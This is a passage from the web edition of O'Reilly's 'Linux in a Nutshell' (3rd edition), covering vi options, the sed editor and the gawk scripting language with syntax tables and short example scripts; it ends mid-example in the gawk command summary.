ignorecase (ic) | noic | Disregard case during a search.
lisp | nolisp | Insert indents in appropriate LISP format. (), { }, [[, and ]] are modified to have meaning for LISP.
list | nolist | Print tabs as ^I; mark ends of lines with $. (Use list to tell if end character is a tab or a space.)
magic | magic | Wildcard characters . (dot), * (asterisk), and [ ] (brackets) have special meaning in patterns.
mesg | mesg | Permit system messages to display on terminal while editing in vi.
number (nu) | nonu | Display line numbers on left of screen during editing session.
redraw (re) | noredraw | Terminal redraws screen whenever edits are made (in other words, insert mode pushes over existing characters, and deleted lines immediately close up). Default depends on line speed and terminal type. noredraw is useful at slow speeds on a dumb terminal: deleted lines show up as @, and inserted text appears to overwrite existing text until you press Esc.
remap | remap | Allow nested map sequences.
report= | 5 | Display a message on the prompt line whenever you make an edit that affects at least a certain number of lines. For example, 6dd reports the message "6 lines deleted."
scroll= | <1/2 window> | Amount of screen to scroll.
sections= (sect) | SHNHH HU | Define section delimiters for [[ ]] movement. The pairs of characters in the value are the names of nroff/troff macros that begin sections.
shell= (sh) | /bin/sh | Pathname of shell used for shell escape (:!) and shell command (:sh). Default value is derived from SHELL variable.
shiftwidth= (sw) | 8 | Define number of spaces used by the indent commands (^T, ^D, >>, and <<).
showmatch (sm) | nosm | In vi, when ) or } is entered, cursor moves briefly to matching ( or {. (If the match is not on the screen, rings the error message bell.) Very useful for programming.
showmode | noshowmode | In insert mode, displays a message on the prompt line indicating the type of insert you are making, such as "Open Mode" or "Append Mode."
slowopen (slow) |  | Hold off display during insert. Default depends on line speed and terminal type.
tabstop= (ts) | 8 | Define number of spaces that a tab indents during editing session. (Printer still uses system tab of 8.)
taglength= (tl) | 0 | Define number of characters that are significant for tags. Default (0) means that all characters are significant.
tags= | tags /usr/lib/tags | Define pathname of files containing tags (see the ctags command in Chapter 3, "Linux Commands"). By default, the system looks for files tags (in the current directory) and /usr/lib/tags.
term= |  | Set terminal type.
terse | noterse | Display shorter error messages.
timeout (to) | timeout | Keyboard maps timeout after 1second.
ttytype= |  | Set terminal type. Default is inherited from TERM environment variable.
warn | warn | Display the message, "No write since last change."
window= (w) |  | Show a certain number of lines of the file on the screen. Default depends on line speed and terminal type.
wrapmargin= (wm) | 0 | Define right margin. If greater than 0, automatically insert carriage returns to break lines.
wrapscan (ws) | ws | Searches wrap around either end of file.
writeany (wa) | nowa | Allow saving to any file.

11.14.3. Sample ~/.exrc File

The following lines of code are an example of a customized .exrc file:

set nowrapscan wrapmargin=7
set sections=SeAhBhChDh nomesg
map q :w^M:n^M
map v dwElp
ab ORA O'Reilly & Associates, Inc.

Previous | Home | Next
11.13. Alphabetical Summary of ex Commands | Book Index | 12. The sed Editor
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The sed Editor (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 12. The sed Editor

Contents:

Conceptual Overview
Command-Line Syntax
Syntax of sed Commands
Group Summary of sed Commands
Alphabetical Summary of sed Commands

This chapter presents the following topics:

  • Conceptual overview of sed

  • Command-line syntax

  • Syntax of sed commands

  • Group summary of sed commands

  • Alphabetical summary of sed commands

For more information, see the O'Reilly book sed & awk, 2d ed., by Dale Dougherty and Arnold Robbins.

12.1. Conceptual Overview

sed is a noninteractive, or stream-oriented, editor. It interprets a script and performs the actions in the script. sed is stream-oriented, because, as with many Unix programs, input flows through the program and is directed to standard output. For example, sort is stream-oriented; vi is not. sed's input typically comes from a file but can be directed from the keyboard. Output goes to the screen by default but can be captured in a file instead.

Typical uses of sed include:

  • Editing one or more files automatically

  • Simplifying repetitive edits to multiple files

  • Writing conversion programs

sed operates as follows:

  • Each line of input is copied into a pattern space.

  • All editing commands in a sed script are applied in order to each line of input.

  • Editing commands are applied to all lines (globally) unless line addressing restricts the lines affected.

  • If a command changes the input, subsequent commands are applied to the changed line, not to the original input line.

  • The original input file is unchanged, because the editing commands modify a copy of the original input line. The copy is sent to standard output (but can be redirected to a file).

Previous | Home | Next
11.14. vi Configuration | Book Index | 12.2. Command-Line Syntax
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Command-Line Syntax (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

12.2. Command-Line Syntax

The syntax for invoking sed has two forms:

sed [options] 'command' file(s)

sed [options] -f scriptfile file(s)

The first form allows you to specify an editing command on the command line, surrounded by single quotes. The second form allows you to specify a scriptfile, a file containing sed commands. If no files are specified, sed reads from standard input.

The following options are recognized:

-e cmd

Next argument is an editing command; not needed unless specifying two or more editing commands.

-f scriptfile

Next argument is a file containing editing commands.

-n

Suppress the default output; sed displays only those lines specified with the p command or with the p flag of the s command.

-V

Display version number.

--quiet

Same as -n.

--expression=cmd

Same as -e.

--file=file

Same as -f.

--help

Display brief help message with command-line options.

--silent

Same as -n.

--version

Same as -V.

Previous | Home | Next
12. The sed Editor | Book Index | 12.3. Syntax of sed Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Syntax of sed Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

12.3. Syntax of sed Commands

sed commands have the general form:

[address[,address]][!]command [arguments]

sed commands consist of addresses and editing commands. commands consist of a single letter or symbol; they are described later, alphabetically and by group. arguments include the label supplied to b or t, the filename supplied to r or w, and the substitution flags for s. addresses are described in the next section.

12.3.1. Pattern Addressing

A sed command can specify zero, one, or two addresses. An address can be a line number, the symbol $ (for last line), or a regular expression enclosed in slashes (/pattern/). Regular expressions are described in Chapter 9, "Pattern Matching". Additionally, \n can be used to match any newline in the pattern space (resulting from the N command) but not the newline at the end of the pattern space.

If the Command Specifies | Then the Command Is Applied To
No address | Each input line.
One address | Any line matching the address. Some commands (a, i, r, q, and =) accept only one address.
Two comma-separated addresses | First matching line and all succeeding lines up to and including a line matching the second address.
An address followed by ! | All lines that do not match the address.

12.3.1.1. Examples

s/xx/yy/g                Substitute on all lines (all occurrences)
/BSD/d                   Delete lines containing BSD
/^BEGIN/,/^END/p         Print between BEGIN and END, inclusive
/SAVE/!d                 Delete any line that doesn't contain SAVE
/BEGIN/,/END/!s/xx/yy/g  Substitute on all lines, except between BEGIN and END

Braces ({}) are used in sed to nest one address inside another or to apply multiple commands at the same address:

[/address/[,/address/]]{
command1
command2
}

The opening curly brace must end a line, and the closing curly brace must be on a line by itself. Be sure there are no blank spaces after the braces.

Previous | Home | Next
12.2. Command-Line Syntax | Book Index | 12.4. Group Summary of sed Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Group Summary of sed Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

12.4. Group Summary of sed Commands

In the following tables, the sed commands are grouped by function and are described tersely. Full descriptions, including syntax and examples, can be found afterward in the alphabetical summary.

12.4.1. Basic Editing

Command | Action
a\ | Append text after a line.
c\ | Replace text (usually a text block).
i\ | Insert text before a line.
d | Delete lines.
s | Make substitutions.
y | Translate characters (like tr in Chapter 3, "Linux Commands").

12.4.2. Line Information

Command | Action
= | Display line number of a line.
l | Display control characters in ASCII.
p | Display the line.

12.4.3. Input/Output Processing

Command | Action
n | Skip current line and go to line below.
r | Read another file's contents into the input.
w | Write input lines to another file.
q | Quit the sed script (no further output).

12.4.4. Yanking and Putting

Command | Action
h | Copy pattern space into hold space; wipe out what's there.
H | Copy pattern space into hold space; append to what's there.
g | Get the hold space back; wipe out the pattern space.
G | Get the hold space back; append to pattern space.
x | Exchange contents of hold space and pattern space.

12.4.5. Branching Commands

Command | Action
b | Branch to label or to end of script.
t | Same as b, but branch only after substitution.
:label | Label branched to by t or b.

12.4.6. Multiline Input Processing

Command | Action
N | Read another line of input (creates embedded newline).
D | Delete up to the embedded newline.
P | Print up to the embedded newline.
Previous | Home | Next
12.3. Syntax of sed Commands | Book Index | 12.5. Alphabetical Summary of sed Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Alphabetical Summary of sed Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

12.5. Alphabetical Summary of sed Commands

#

#

Begin a comment in a sed script. Valid only as the first character of the first line. (Some versions of sed, including the GNU version on Linux, allow comments anywhere, but it is better not to rely on this.) If the first line of the script is #n, sed behaves as if -n had been specified.

:

:label

Label a line in the script for the transfer of control by b or t. label may contain up to seven characters.

=

[/pattern/]=

Write to standard output the line number of each line containing pattern.

a

[address]a\

text

Append text following each line matched by address. If text goes over more than one line, newlines must be "hidden" by preceding them with a backslash. The text will be terminated by the first newline that is not hidden in this way. The text is not available in the pattern space, and subsequent commands cannot be applied to it. The results of this command are sent to standard output when the list of editing commands is finished, regardless of what happens to the current line in the pattern space.

Example

$a\
This goes after the last line in the file\
(marked by $). This text is escaped at the\
end of each line, except for the last one.
b

[address1[,address2]]b[label]

Transfer control unconditionally to :label elsewhere in script. That is, the command following the label is the next command applied to the current line. If no label is specified, control falls through to the end of the script, so no more commands are applied to the current line.

Example

Ignore lines between .TS and .TE; resume script after .TE:

/^\.TS/,/^\.TE/b
c

[address1[,address2]]c\

text

Replace the lines selected by the address with text. When a range of lines is specified, all lines as a group are replaced by a single copy of text. The newline following each line of text must be escaped by a backslash, except the last line. The contents of the pattern space are, in effect, deleted, and no subsequent editing commands can be applied.

Example

Replace first 100 lines in a file:

1,100c\
\
<First 100 names to be supplied>
d

[address1[,address2]]d

Delete the addressed line (or lines) from the pattern space. Thus, the line is not passed to standard output. A new line of input is read, and editing re sumes with the first command in the script.

Example

Delete all blank lines:

/^$/d
D

[address1[,address2]]D

Delete first part (up to embedded newline) of multiline pattern space created by N command, and resume editing with first command in script. If this command empties the pattern space, then a new line of input is read, as if the d had been executed.

Example

Strip multiple blank lines, leaving only one:

/^$/{
N
/^\n$/D
}
g

[address1[,address2]]g

Paste the contents of the hold space (see h or H command) back into the pattern space, wiping out the previous contents of the pattern space. The example shows a simple way to copy lines.

Example

This script collects all lines containing the word Item: and copies them to a place marker later in the file. The place marker is overwritten.

/Item:/H
/<Replace this line with the item list>/g
G

[address1[,address2]]G

Same as g, except that the hold space is pasted below the address instead of overwriting it. The example shows a simple way to cut and paste lines.

Example

This script collects all lines containing the word Item: and moves them after a place marker later in the file. The original Item: lines are deleted.

/Item:/{
H
d
}
/Summary of items:/G
h

[address1[,address2]]h

Copy the pattern space into the hold space, a special temporary buffer. The previous contents of the hold space are obliterated. You can use h to save a line before editing it.

Example

# Edit a line; print the change; replay the original
/Linux/{
h
s/.* Linux \(.*\) .*/\1:/
p
x
}

Sample input:

This describes the Linux ls command.
This describes the Linux cp command.

Sample output:

ls:
This describes the Linux ls command.
cp:
This describes the Linux cp command.
H

[address1[,address2]]H

Append the contents of the pattern space (preceded by a newline) to the contents of the hold space. Even if the hold space is empty, H still appends a newline. H is like an incremental copy. See examples under g and G.

i

[address1]i\

text

Insert text before each line matched by address. (See a for details on text.)

Example

/Item 1/i\
The five items are listed below:
l

[address1[,address2]]l

List the contents of the pattern space, showing nonprinting characters as ASCII codes. Long lines are wrapped.

n

[address1[,address2]]n

Read next line of input into pattern space. The current line is sent to standard output, and the next line becomes the current line. Control passes to the command following n instead of resuming at the top of the script.

Example

In the ms macros, a section header occurs on the line below an .NH macro. To print all lines of header text, invoke this script with sed -n:

/^\.NH/{
n
p
}
N

[address1[,address2]]N

Append next input line to contents of pattern space; the two lines are separated by an embedded newline. (This command is designed to allow pattern matches across two lines.) Using \n to match the embedded newline, you can match patterns across multiple lines. See example at D.

Examples

Like previous example, but print .NH line as well as header title:

/^\.NH/{
N
p
}

Join two lines (replace newline with space):

/^\.NH/{
N
s/\n/ /
p
}
p

[address1[,address2]]p

Print the addressed lines. Unless the -n command-line option is used, this command causes duplicate lines to be output. Also, it typically is used before commands that change flow control (d, N, b) and that might prevent the current line from being output. See examples at h, n, and N.

P

[address1[,address2]]P

Print first part (up to embedded newline) of multiline pattern created by N command. Same as p if N has not been applied to a line.

q

[address]q

Quit when address is encountered. The addressed line first is written to output (if default output is not suppressed), along with any text appended to it by previous a or r commands.

Examples

Delete everything after the addressed line:

/Garbled text follows:/q

Print only the first 50 lines of a file:

50q
r

[address]r file

Read contents of file and append after the contents of the pattern space. Exactly one space must be put between the r and the filename.

Example

/The list of items follows:/r item_file
s

[address1[,address2]]s/pattern/replacement/[flags]

Substitute replacement for pattern on each addressed line. If pattern addresses are used, the pattern // represents the last pattern address specified. The following flags can be specified:

n

Replace nth instance of /pattern/ on each addressed line. n is any number in the range 1 to 512; the default is 1.

g

Replace all instances of /pattern/ on each addressed line, not just the first instance.

p

Print the line if a successful substitution is done. If several successful substitutions are done, multiple copies of the line will be printed.

w file

Write the line to a file if a replacement was done.

Examples

Here are some short, commented scripts:

# Change third and fourth quote to ( and ):
/function/{
s/"/(/3
s/"/)/4
}

# Remove all quotes on a given line:
/Title/s/"//g

# Remove first colon or all quotes; print resulting lines:
s/://p
s/"//gp

# Change first "if" but leave "ifdef" alone:
/ifdef/!s/if/   if/
t

[address1[,address2]]t [label]

Test if any substitutions have been made on addressed lines, and if so, branch to line marked by :label. (See b and :.) If label is not specified, control falls through to bottom of script. The t command is like a case statement in the C programming language or the shell programming languages. You test each case; when it's true, you exit the construct.

Example

Suppose you want to fill empty fields of a database. You have this:

ID: 1   Name: greg   Rate: 45
ID: 2   Name: dale
ID: 3

You want this:

ID: 1   Name: greg   Rate: 45   Phone: ??
ID: 2   Name: dale   Rate: ??   Phone: ??
ID: 3   Name: ????   Rate: ??   Phone: ??

You need to test the number of fields already there. Here's the script (fields are tab-separated):

/ID/{
s/ID: .* Name: .* Rate: .*/&   Phone: ??/p
t
s/ID: .* Name: .*/&   Rate: ??   Phone: ??/p
t
s/ID: .*/&   Name: ??     Rate: ??   Phone: ??/p
}
w

[address1[,address2]]w file

Append contents of pattern space to file. This action occurs when the command is encountered, rather than when the pattern space is output. Exactly one space must separate the w and the filename. This command will create the file if it does not exist; if the file exists, its contents will be overwritten each time the script is executed. Multiple write commands that direct output to the same file append to the end of the file.

Example

# Store tbl and eqn blocks in a file:
/^\.TS/,/^\.TE/w troff_stuff
/^\.EQ/,/^\.EN/w troff_stuff
x

[address1[,address2]]x

Exchange contents of the pattern space with the contents of the hold space. See h for an example.

y

[address1[,address2]]y/abc/xyz/

Translate characters. Change every instance of a to x, b to y, c to z, etc.

Example

# Change item 1, 2, 3 to Item A, B, C ...
/^item [1-9]/y/123456789/ABCDEFGHI/

Previous | Home | Next
12.4. Group Summary of sed Commands | Book Index | 13. The gawk Scripting Language
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The gawk Scripting Language (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 13. The gawk Scripting Language

Contents:

Conceptual Overview
Command-Line Syntax
Patterns and Procedures
gawk System Variables
Operators
Variable and Array Assignments
Group Listing of gawk Commands
Alphabetical Summary of Commands

gawk is the GNU version of awk, a powerful pattern-matching program for processing text files that may be composed of fixed or variable length records separated by some delineator (by default, a newline character). gawk may be used from the command line or in gawk scripts. Normally you should be able to invoke this utility using either awk or gawk on the shell command line.

This chapter presents the following topics:

  • Conceptual overview

  • Command-line syntax

  • Patterns and procedures

  • System variables

  • Operators

  • Variable and array assignment

  • Group listing of commands

  • Alphabetical summary of commands

For more information, see the O'Reilly book sed & awk, 2d ed., by Dale Dougherty and Arnold Robbins.

13.1. Conceptual Overview

With gawk, you can:

  • Conveniently process a text file as though it were made up of records and fields in a textual database.

  • Use variables to change the database.

  • Execute shell commands from a script.

  • Perform arithmetic and string operations.

  • Use programming constructs such as loops and conditionals.

  • Define your own functions.

  • Process the result of shell commands.

  • Process command-line arguments more gracefully.

  • Produce formatted reports.

Previous | Home | Next
12.5. Alphabetical Summary of sed Commands | Book Index | 13.2. Command-Line Syntax
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Command-Line Syntax (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

13.2. Command-Line Syntax

gawk's syntax has two forms:

gawk  [options]  'script'  var=value  file(s)
gawk  [options]  -f scriptfile  var=value  file(s)

You can specify a script directly on the command line, or you can store a script in a scriptfile and specify it with -f. Multiple -f options are allowed; awk concatenates the files. This feature is useful for including libraries.

gawk operates on one or more input files. If none are specified (or if - is specified), gawk reads from the standard input.

Variables can be assigned a value on the command line. The value assigned to a variable can be a literal, a shell variable ($name), or a command substitution (`cmd`), but the value is available only after a line of input is read (i.e., after the BEGIN statement).

For example, to print the first three (colon-separated) fields of the password file, use -F to set the field separator to a colon:

gawk -F: '{print $1; print $2; print $3}' /etc/passwd

Numerous examples are shown later in Section 13.3, "Patterns and Procedures".

13.2.1. Options

All options exist in both traditional POSIX (one-letter) format and GNU-style (long) format. Some recognized options are:

--

Treat all subsequent text as commands or filenames, not options.

-f scriptfile, --file=scriptfile

Read gawk commands from scriptfile instead of command line.

-v var=value, --assign=var=value

Assign a value to variable var. This allows assignment before the script begins execution.

-F c, --field-separator=c

Set the field separator to character c. This is the same as setting the variable FS. c may be a regular expression. Each input line, or record, is divided into fields by whitespace (blanks or tabs) or by some other user-definable record separator. Fields are referred to by the variables $1, $2,..., $n. $0 refers to the entire record.

-W option

All -W options are specific to gawk, as opposed to awk. An alternate syntax is --option (i.e., --compat). option may be one of:

compat

Same as traditional.

copyleft

Print copyleft notice and exit.

copyright

Same as copyleft.

help

Print syntax and list of options, then exit.

lint

Warn about commands that might not port to other versions of awk or that gawk considers problematic.

lint-old

Like lint but compares to an older version of awk.

posix

Expect exact compatibility with POSIX; additionally, ignore \x escape sequences, **, and **=.

re-interval

Allow use of {n,m} intervals in regular expressions.

source=script

Treat script as gawk commands. Like the 'script' argument but lets you mix commands from files (using -f options) with commands on the gawk command line.

traditional

Behave exactly like traditional (non-GNU) awk.

usage

Same as help.

version

Print version information and exit.

Previous | Home | Next
13. The gawk Scripting Language | Book Index | 13.3. Patterns and Procedures
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Patterns and Procedures (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

13.3. Patterns and Procedures

gawk scripts consist of patterns and procedures:

pattern  {procedure}

Both are optional. If pattern is missing, {procedure} is applied to all records. If {procedure} is missing, the matched record is printed. By default, each line of input is a record, but you can specify a different record separator through the RS variable.

13.3.1. Patterns

A pattern can be any of the following:

/regular expression/
relational expression
pattern-matching expression
pattern,pattern
BEGIN
END

Some rules regarding patterns include:

  • Expressions can be composed of quoted strings, numbers, operators, functions, defined variables, or any of the predefined variables described later under "gawk System Variables."

  • Regular expressions use the extended set of metacharacters and are described in Chapter 9, "Pattern Matching".

  • In addition, ^ and $ can be used to refer to the beginning and end of a field, respectively, rather than the beginning and end of a record.

  • Relational expressions use the relational operators listed under "Operators" later in this chapter. Comparisons can be either string or numeric. For example, $2 > $1 selects lines for which the second field is greater than the first.

  • Pattern-matching expressions use the operators ~ (match) and !~ (don't match). See "Operators" later in this chapter.

  • The BEGIN pattern lets you specify procedures that take place before the first input record is processed. (Generally, you set global variables here.)

  • The END pattern lets you specify procedures that take place after the last input record is read.

  • If there are multiple BEGIN or END patterns, their associated actions are taken in the order in which they appear in the script.

  • pattern,pattern specifies a range of lines. This syntax cannot include BEGIN or END as a pattern.

Except for BEGIN and END, patterns can be combined with the Boolean operators || (OR), && (AND), and ! (NOT).

In addition to other regular-expression operators, GNU awk supports POSIX character lists, which are useful for matching non-ASCII characters in languages other than English. These lists are recognized only within [ ] ranges. A typical use would be [[:lower:]], which in English is the same as [a-z]. See Chapter 9, "Pattern Matching" for a complete list of POSIX character lists.

13.3.2. Procedures

Procedures consist of one or more commands, functions, or variable assignments, separated by newlines or semicolons and contained within curly braces. Commands fall into four groups:

  • Variable or array assignments

  • Printing commands

  • Built-in functions

  • Control-flow commands

13.3.3. Simple Pattern-Procedure Examples

  1. Print first field of each line (no pattern specified):

    { print $1 }

  2. Print all lines that contain "Linux":

    /Linux/

  3. Print first field of lines that contain "Linux":

    /Linux/{ print $1 }

  4. Print records containing more than two fields:

    NF > 2

  5. Interpret each group of lines up to a blank line as a single input record:

    BEGIN { FS = "\n"; RS = "" }

  6. Print fields 2 and 3 in switched order but only on lines whose first field matches the string "URGENT":

    $1 ~ /URGENT/ { print $3, $2 }

  7. Count and print the number of instances of "ERR" found:

    /ERR/ { ++x }; END { print x }

  8. Add numbers in second column and print total:

    {total += $2 }; END { print "column total is", total}

  9. Print lines that contain fewer than 20 characters:

    length() < 20

  10. Print each line that begins with "Name:" and that contains exactly seven fields:

    NF == 7 && /^Name:/

  11. Reverse the order of fields:

    { for (i = NF; i >= 1; i--) print $i }

Previous | Home | Next
13.2. Command-Line Syntax | Book Index | 13.4. gawk System Variables
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


gawk System Variables (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

13.4. gawk System Variables

Variable | Description
$n | nth field in current record; fields are separated by FS
$0 | Entire input record
ARGC | Number of arguments on command line
ARGIND | Current file's place in command line (starting with 0)
ARGV | An array containing the command-line arguments
CONVFMT | Conversion format for numbers (default is %.6g)
ENVIRON | An associative array of environment variables
ERRNO | Description of last system error
FIELDWIDTHS | List of field widths (whitespace-separated)
FILENAME | Current filename
FNR | Like NR, but relative to the current file
FS | Field separator (default is any whitespace; null string separates into individual characters)
IGNORECASE | If true, make case-insensitive matches
NF | Number of fields in current record
NR | Number of the current record
OFMT | Output format for numbers (default is %.6g)
OFS | Output field separator (default is a blank)
ORS | Output record separator (default is a newline)
RLENGTH | Length of the string matched by match function
RS | Record separator (default is a newline)
RSTART | First position in the string matched by match function
SUBSEP | Separator character for array subscripts (default is \034)
Previous | Home | Next
13.3. Patterns and Procedures | Book Index | 13.5. Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Operators (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

13.5. Operators

The following table lists the operators, in order of increasing precedence, that are available in gawk.

Symbol | Meaning
= += -= *= /= %= ^= **= | Assignment
?: | C conditional expression
|| | Logical OR
&& | Logical AND
~ !~ | Match regular expression and negation
< <= > >= != == | Relational operators
(blank) | Concatenation
+ - | Addition, subtraction
* / % | Multiplication, division, and modulus
+ - ! | Unary plus and minus and logical negation
^ ** | Exponentiation
++ -- | Increment and decrement, either prefix or postfix
$ | Field reference
in | Array membership (see for command)
Previous | Home | Next
13.4. gawk System Variables | Book Index | 13.6. Variable and Array Assignments
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Variable and Array Assignments (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

13.6. Variable and Array Assignments

Variables can be assigned a value with an equals sign. For example:

FS = ","

Expressions using the operators +, -, /, and % (modulo) can be assigned to variables.

Arrays can be created with the split function (see the listing in Section 13.8, "Alphabetical Summary of Commands"), or they can simply be named in an assignment statement. Array elements can be subscripted with numbers (array[1]) or with names. For example, to count the number of occurrences of a pattern, you could use the following script:

/pattern/ { array["/pattern/"]++ }
END { print array["/pattern/"] }

In gawk, variables need not be declared previous to their use, nor do arrays need to be dimensioned; they are activated upon first reference. All variables are stored as strings but may be used either as strings or numbers. gawk will use the program script context to determine whether to treat a variable as a string or a number, but the distinction also can be forced by the user. To force a variable to be treated as a string, catenate a null to the variable:

var ""

To force a variable to be treated as a number, add 0 to it:

var + 0
Previous | Home | Next
13.5. Operators | Book Index | 13.7. Group Listing of gawk Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Group Listing of gawk Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

13.7. Group Listing of gawk Commands

gawk commands may be classified as follows:

Arithmetic Functions | String Functions | Control Flow Statements | Input/Output Processing | Time Functions | Misc.
atan2 | gensub | break | close | strftime | delete
cos | gsub | continue | fflush | systime | function
exp | index | do/while | getline |  | system
int | length | exit | next |  |
log | match | for | nextfile |  |
rand | split | if | print |  |
sin | sub | return | printf |  |
sqrt | substr |  | sprintf |  |
srand | tolower |  | while |  |
 | toupper |  |  |  |
Previous | Home | Next
13.6. Variable and Array Assignments | Book Index | 13.8. Alphabetical Summary of Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Alphabetical Summary of Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

13.8. Alphabetical Summary of Commands

The following alphabetical list of statements and functions includes all that are available in gawk in Linux.

atan2

atan2(y,x)

Return the arctangent of y/x in radians.

break

break

Exit from a while or for loop.

close

close(filename-expr)

close(command-expr)

Close a file read by a getline command or a pipe; takes as an argument the same expression that opened the pipe or file.

continue

continue

Begin next iteration of while or for loop without reaching the bottom.

cos

cos(x)

Return the cosine of x, an angle in radians.

delete

delete array[element]

delete array

Delete element of array. If no element is specified, all elements are deleted.

do

do

body

while(expr)

Looping statement. Execute statements in body, then evaluate expr. If expr is true, execute body again.

exit

exit

Do not execute remaining instruction, and read no new input. END procedures will be executed.

exp

exp(arg)

Return the natural exponent of arg (the inverse of log).

fflush

fflush(filename)

Flushes output to filename; default is the standard output.

for

for(i=lower ; i<=upper ; i++)

command

While the value of variable i is in the range between lower and upper, do command. A series of commands must be put within braces. <= or any relational operator can be used; ++ or -- can be used to increment or decrement the variable.

for

for(item in array)

command

For each item in an associative array, do command. Multiple commands must be put inside braces. Refer to each element of the array as array[item]. Elements of gawk arrays are stored in an order that enables access of any element in essentially equivalent time. This order may appear to be indiscriminate; if the output is desired in sorted order, you must pipe it through the sort command.

function

function name(parameter-list) {

statements

}

Create name as a user-defined function consisting of gawk statements that apply to the specified list of parameters.

gensub

gensub(r,s,n,t)

Substitute s for the nth match of regular expression r in the string t. Leave t unchanged, but return new string as the result. If n is "g" or "G" change all matches. If t is not supplied, it defaults to $0.

getline

getline [varhairsp;] [<file]

command | getline [var]

The first form reads input from file or the next file on the command line, and the second form reads the output of command. Both forms read one line at a time, and each time the statement is executed it gets the next line of input. The line of input is assigned to $0 and is parsed into fields, setting NF, NR, and FNR. If var is specified, the result is assigned to var, and neither $0 nor NF is changed. Thus, if the result is assigned to a variable, the current line does not change. getline is actually a function, and it returns 1 if it reads a record successfully, 0 at EOF, and -1 if for some reason it is otherwise unsuccessful.

gsub

gsub(r,s,t)

Globally substitute s for each match of the regular expression r in the string t. Return the number of substitutions. If t is not supplied, it defaults to $0.

if

if (condition)

command1

[else

command2]

If condition is true, do command1; otherwise, do command2. Condition can be an expression using any of the relational operators <, <=, ==, !=, >=, or >, as well as the pattern-matching operator ~. A series of commands must be put within braces.

Example

The following lines determine whether the first word in each line starts with A, uppercase or lowercase:

if ($1 ~ /[Aa]*/)
    ...Begins with A or a
index

index(substr,str)

Return the position of a substring in a string. Returns 0 if substr is not contained in str.

int

int(arg)

Return the integer part of arg.

length

length(arg)

Return the length of arg. If arg is not supplied, $0 is assumed.

log

log(arg)

Return the natural logarithm of arg (the inverse of exp).

match

match(s,r)

Return position in s where regular expression r first matches or 0 if no occurrences are found. Sets the value of RSTART and RLENGTH.

next

next

Read next input line and start new cycle through pattern/procedures statements.

nextfile

nextfile

Skip to the next file on the gawk command line and start new cycle through pattern/procedures statements.

print

print [args] [destination]

Print args on output. Literal strings must be quoted. Fields are printed in the order they are listed. If separated by commas in the argument list, they are separated in the output by the character specified by OFS. If separated by spaces, they are concatenated in the output. destination is a shell redirection or pipe expression (e.g., > file) that redirects the default output.

printf

printf [format [, expressions]]

Formatted print statement. Expressions or variables can be formatted according to instructions in the format argument. The number of expressions must correspond to the number specified in the format sections.

format follows the conventions of the C-language printf statement. Here are a few of the most common formats:

%s

A string.

%d

A decimal number.

%n.m f

A floating point number. n = total number of digits; m = number of digits after decimal point.

%[-]nc

n specifies minimum field length for format type c, while - left-justifies value in field; otherwise, value is right-justified.

Field widths are adjustable. For example, %3.2f limits a floating-point number to a total width of three digits, with two digits after the decimal point.

format also can contain embedded escape sequences, \n (newline) and \t (tab) being the most common. Spaces and literal text can be placed in the format argument by quoting the entire argument. If there are multiple expressions to be printed, multiple formats should be specified.

Example

Using the script:

{printf ("The sum on line %s is %d.\n", NR, $1+$2)}

the following input line:

5   5

produces this output, followed by a newline:

The sum on line 1 is 10.
rand

rand( )

Generate a random number between 0 and 1. This function returns the same series of numbers each time the script is executed, unless the random number generator is seeded using the srand function.

return

return [expr]

Used at end of user-defined functions to exit function, returning the value of expr.

sin

sin(x)

Return the sine of x, an angle in radians.

split

split(string,array[,sep])

Split string into elements of array array[1],...,array[n]. The string is split at each occurrence of separator sep. If sep is not specified, FS is used. If sep is a null string, a split is performed on every character. The number of array elements created is returned.

sprintf

sprintf [format [, expression(s)]]

Return the value of one or more expressions, using the specified format (see printf). Data is formatted but not printed.

sqrt

sqrt(arg)

Return square root of arg.

srand

srand(expr)

Use expr to set a new seed for random number generator. Default is time of day.

strftime

strftime([format [,timestamp]])

Format timestamp according to format. Return the formatted string. The timestamp is a time-of-day value in seconds since midnight, January 1, 1970, UTC. The format string is similar to that of sprintf. (See the example for systime.) If timestamp is omitted, it defaults to the current time. If format is omitted, it defaults to a value that produces output similar to that of date.

sub

sub(r,s,t)

Substitute s for first match of the regular expression r in the string t. Return 1 if successful; 0 otherwise. If t is not supplied, the default is $0.

substr

substr(string,m[,n])

Return substring of string beginning at character position m and consisting of the next n characters. If n is omitted, include all characters to the end of string.

system

system(command)

Execute the specified shell command and return its status. The status of the command that is executed typically indicates its success (1), completion (0), or unexpected error (-1). The output of the command is not available for processing within the gawk script.

systime

systime()

Return number of seconds since midnight UTC, January 1, 1970.

Example

Log the start and end times of a data-processing program:

BEGIN {
    now = systime()
    mesg = strftime("Started at %m/%d/%Y %H:%M:%S", now)
    print mesg
}
process data ...
END {
    now = systime()
